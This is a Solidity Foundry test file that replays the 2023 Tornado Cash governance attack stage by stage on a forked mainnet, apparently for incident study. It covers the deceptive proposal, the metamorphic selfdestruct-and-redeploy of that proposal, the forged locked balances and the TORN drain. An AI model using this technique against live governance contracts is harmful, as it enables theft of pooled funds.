generated from foundry-rs/hardhat-foundry-template
-
Notifications
You must be signed in to change notification settings - Fork 219
/
Copy pathTornadoCash_Governance.sol
242 lines (195 loc) · 11.7 KB
/
TornadoCash_Governance.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "forge-std/Test.sol";
import {TestHarness} from "../../TestHarness.sol";
import {TokenBalanceTracker} from "../../modules/TokenBalanceTracker.sol";
import {IERC20} from "../../interfaces/IERC20.sol";
import {IWETH9} from "../../interfaces/IWETH9.sol";
import {Ownable} from "./AttackerOwnable.sol";
import "./TornadoGovernance.interface.sol";
import "./Attacker1Contracts.sol";
import "./Attacker2Contracts.sol";
contract Exploit_TornadoCashGovernance is TestHarness, TokenBalanceTracker {
uint256 forkIdBefore;
uint256 proposalId;
IERC20 tornToken = IERC20(0x77777FeDdddFfC19Ff86DB637967013e6C6A116C);
ITornadoGovernance TORNADO_GOVERNANCE = ITornadoGovernance(0x5efda50f22d34F262c29268506C5Fa42cB56A1Ce);
address ATTACKER1 = makeAddr("ATTACKER1");
address ATTACKER2 = makeAddr("ATTACKER2");
address SomeVoter = makeAddr("VOTER");
Attacker1Contract attacker1contract;
ReinitializableContractFactory proposalFactory;
TransientContract transientContract;
Proposal_20 proposal_20;
function setUp() external {
forkIdBefore = cheat.createSelectFork("mainnet", 17_248_593);
// The attacker used two accounts
cheat.deal(ATTACKER1, 0.5 ether);
cheat.deal(ATTACKER2, 10 ether); // https://etherscan.io/tx/0xf93536162943bd36df11de6ed11233589bb5f139ff4e9e425cb5256e4349a9b4
// This contract would play only the role of coordinating attacks
cheat.deal(address(this), 0.5 ether);
cheat.deal(SomeVoter, 0.5 ether);
_labelAccounts();
_tokenTrackerSetup();
}
function test_attack_with_forked_foundry() external {
vm.selectFork(forkIdBefore);
console2.log("Fork Block Number: %s", block.number);
console2.log("\n======== STAGE 0. DEPLOY FACTORY AND PROPOSAL - GET SOME TORN ========");
// 0. Deploy a Factory with the transient and a "benign" proposal with the Attacker 2
// https://explorer.phalcon.xyz/tx/eth/0x3e93ee75ffeb019f1d841b84695538571946fd9477dcd3ecf0790851f48fbd1a?line=0&debugLine=0
vm.startPrank(ATTACKER2);
_deployFactoryAndProposal();
_swapEthForTorn();
_initialTornLock();
vm.stopPrank();
console2.log("\n======== STAGE 1. SUBMIT MALICIOUS PROPOSAL ========");
// 1. Submit the proposal #20 allegating some relayers are cheating the protocol with the
// Attacker 2
// https://explorer.phalcon.xyz/tx/eth/0x34605f1d6463a48b818157f7b26d040f8dd329273702a0618e9e74fe350e6e0d?line=0&debugLine=0
vm.rollFork(17_249_552);
console2.log("Submitting proposal...");
vm.startPrank(ATTACKER2);
proposalId = TORNADO_GOVERNANCE.propose(
address(proposal_20),
'{"title":"Proposal #20: Relayer registry penalization","description":"Penalize following relayers who is cheating the protocol.\nThe staked balances of these relayers are not burned at all, so the staking reward of valid participants are not properly paid.\n\n0xcBD78860218160F4b463612f30806807Fe6E804C tornadope.eth\n0x94596B6A626392F5D972D6CC4D929a42c2f0008c 0xgm777.eth\n0x065f2A0eF62878e8951af3c387E4ddC944f1B8F4 0xtorn365.eth\n0x18F516dD6D5F46b2875Fd822B994081274be2a8b abc321.eth\n\nUse same logic of proposal #16."}'
);
vm.stopPrank();
console2.log("\n======== STAGE 1.1 VOTE PROPOSAL ========");
console2.log("Locking funds with voter...");
cheat.rollFork(17_265_000);
deal(address(tornToken), SomeVoter, 300_000 ether);
assertEq(tornToken.balanceOf(SomeVoter), 300_000 ether, "Voter: torn token balance mismatch");
vm.startPrank(SomeVoter);
tornToken.approve(address(TORNADO_GOVERNANCE), type(uint256).max);
TORNADO_GOVERNANCE.lockWithApproval(tornToken.balanceOf(SomeVoter));
console2.log("Funds successfully locked \n");
cheat.rollFork(17_275_000);
console2.log("Casting vote...");
TORNADO_GOVERNANCE.castVote(proposalId, true);
console2.log("Vote successfully casted");
vm.stopPrank();
console2.log("\n======== STAGE 2. DEPLOY AND PREPARE MULTIPLE ACCOUNTS ========");
// 2. Deploy multiple minion contracts with the Attacker Contract and lock zero TORN with
// each one in the Governance with the Attacker 1
// https://explorer.phalcon.xyz/tx/eth/0x26672ad9140d11b64964e79d0ed5971c26492786cfe0edf57034229fdc7dc529?line=835&debugLine=835
cheat.rollFork(17_285_354);
vm.startPrank(ATTACKER1);
attacker1contract = new Attacker1Contract();
attacker1contract.deployMultipleContracts(5);
vm.stopPrank();
console2.log("\n======== STAGE 3. DESTROY THE PROPOSAL AND TRANSIENT ========");
// 3. Selfdestruct both the proposal and transient contract, with the account 2
// https://explorer.phalcon.xyz/tx/eth/0xd3a570af795405e141988c48527a595434665089117473bc0389e83091391adb?line=0&debugLine=0
vm.startPrank(ATTACKER2);
proposalFactory.emergencyStop();
vm.stopPrank();
// Simulate selfdestruction in foundry local vm with a custom cheatcode
destroyAccount(address(proposal_20), address(0));
destroyAccount(address(transientContract), ATTACKER2);
vm.rollFork(17_299_106);
console2.log("Fork Block Number: %s", block.number); // just before the redeployment
console2.log("\n======== STAGE 4. REDEPLOY THE PROPOSAL AND TRANSIENT ========");
// 3. Redeploy malicious proposal with the additional SSTORE instructions
// https://explorer.phalcon.xyz/tx/eth/0xa7d20ccdbc2365578a106093e82cc9f6ec5d03043bb6a00114c0ad5d03620122?line=2&debugLine=2
console2.log("Before Redeployment Code Size");
console2.log("Transient: %s", address(proposal_20).code.length);
console2.log("Proposal: %s \n", address(transientContract).code.length);
vm.startPrank(ATTACKER2);
_redeployTransientAndProposal();
vm.stopPrank();
console2.log("\nAfter Redeployment Code Size");
console2.log("Transient: %s", address(proposal_20).code.length);
console2.log("Proposal: %s", address(transientContract).code.length);
console2.log("\n======== STAGE 5. EXECUTE MALICIOUS PROPOSAL ========");
cheat.rollFork(17_299_138); // just before the execution
console2.log("Executing malicious proposal...");
// 5. Execute the malicious proposal in Tornado closing the position of 4 Relayers (the same
// mentioned in the proposal #20 description)
// https://explorer.phalcon.xyz/tx/eth/0x3274b6090685b842aca80b304a4dcee0f61ef8b6afee10b7c7533c32fb75486d?line=3&debugLine=3
// This execution writes the lockedBalance mapping for the minion accounts previously deployed
assertTrue(
TORNADO_GOVERNANCE.state(proposalId) == ITornadoGovernance.ProposalState.AwaitingExecution,
"Not enough votes"
);
TORNADO_GOVERNANCE.execute(proposalId);
console2.log("Execution successful");
console2.log("\n======== STAGE 6. DRAIN TORN FROM GOVERNANCE ========");
console2.log("Draining TORN balance...");
// 6. On each of the previously deployed minion, drain the governance by calling unlock() and
// transfer() the TORN tokens to the Attacker 1, coordinated by the Attacker Contract
// https://explorer.phalcon.xyz/tx/eth/0x13e2b7359dd1c13411342fd173750a19252f5b0d92af41be30f9f62167fc5b94?line=12&debugLine=12
// The locked balance slots were wrote with 10,000e18 granting that amount of tokens per account
// This call is made with a for loop over all the minions.
cheat.rollFork(17_304_425); // just before the drain
address[] memory minions = attacker1contract.getMinions();
console2.log("Before Drain ");
for (uint256 i = 0; i < minions.length; i++) {
console2.log("Minion%s Locked Balance: %s", i + 1, TORNADO_GOVERNANCE.lockedBalance(minions[i]));
}
console2.log("Attacker1 TORN Balance: %s", tornToken.balanceOf(ATTACKER1));
// This part is coordinated by the Attacker1 minion factory
attacker1contract.triggerUnlock();
console2.log("\nAfter Drain ");
for (uint256 i = 0; i < minions.length; i++) {
console2.log("Minion%s Locked Balance: %s", i + 1, TORNADO_GOVERNANCE.lockedBalance(minions[i]));
}
console2.log("Attacker1 TORN Balance: %s", tornToken.balanceOf(ATTACKER1));
}
// ======== SETUP & PART I HELPERS ========
function _swapEthForTorn() internal {
// We emulate the swap with a token deal (getting 1017 TORN)
// Swap 1 https://etherscan.io/tx/0x82dca5a88a43377cab4748073a3a46c8aa120d42c5c5d802789cf17df22f0acd
// Swap 2 https://etherscan.io/tx/0x6d3445d633de3d9c9dfdd4ca75cab9ff2cd269ec6d124baf2cd11cd177d04850
deal(address(tornToken), ATTACKER2, 1017 ether);
assertEq(tornToken.balanceOf(ATTACKER2), 1017 ether, "torn token balance mismatch");
}
function _initialTornLock() internal {
// The attacker first approves with type(uint256).max
tornToken.approve(address(TORNADO_GOVERNANCE), type(uint256).max);
// Then locks with approval
TORNADO_GOVERNANCE.lockWithApproval(tornToken.balanceOf(ATTACKER2));
}
function _deployFactoryAndProposal() internal {
// Deploy the factory
proposalFactory = new ReinitializableContractFactory();
console2.log("Proposal Factory deployed at: %s", address(proposalFactory));
// Deploy the proposal through a transient deploying the benign proposal
(address proposal, address transient) =
proposalFactory.createProposalWithTransient(bytes32(bytes20(ATTACKER2)), false);
proposal_20 = Proposal_20(proposal);
transientContract = TransientContract(transient);
// Check the transient contract with a read method:
address preCalcTransientContract =
proposalFactory.getTransientContractAddress(bytes32(bytes20(ATTACKER2)));
assertEq(preCalcTransientContract, address(transientContract), "Wrong address of transient contract");
assertEq(transientContract.owner(), address(proposalFactory), "Wrong owner in transient contract");
console2.log("Transient deployed at: %s", address(transientContract));
console2.log("Proposal 20 deployed at: %s", address(proposal_20));
}
// ======== REDEPLOY & PART II HELPERS ========
function _redeployTransientAndProposal() internal {
// This is how a redeployment could look like
// Deploy the malicious proposal through a transient
(address proposal, address transient) =
proposalFactory.createProposalWithTransient(bytes32(bytes20(ATTACKER2)), true);
proposal_20 = Proposal_20(proposal);
transientContract = TransientContract(transient);
// Check the transient contract with a read method:
address preCalcTransientContract =
proposalFactory.getTransientContractAddress(bytes32(bytes20(ATTACKER2)));
assertEq(preCalcTransientContract, address(transientContract), "Wrong address of transient contract");
assertEq(transientContract.owner(), address(proposalFactory), "Wrong owner in transient contract");
console2.log("Transient deployed at: %s", address(transientContract));
console2.log("Proposal 20 deployed at: %s", address(proposal_20));
}
function _labelAccounts() internal {
cheat.label(address(tornToken), "TORN");
}
function _tokenTrackerSetup() internal {
addTokenToTracker(address(tornToken));
updateBalanceTracker(address(this));
updateBalanceTracker(ATTACKER1);
updateBalanceTracker(ATTACKER2);
}
}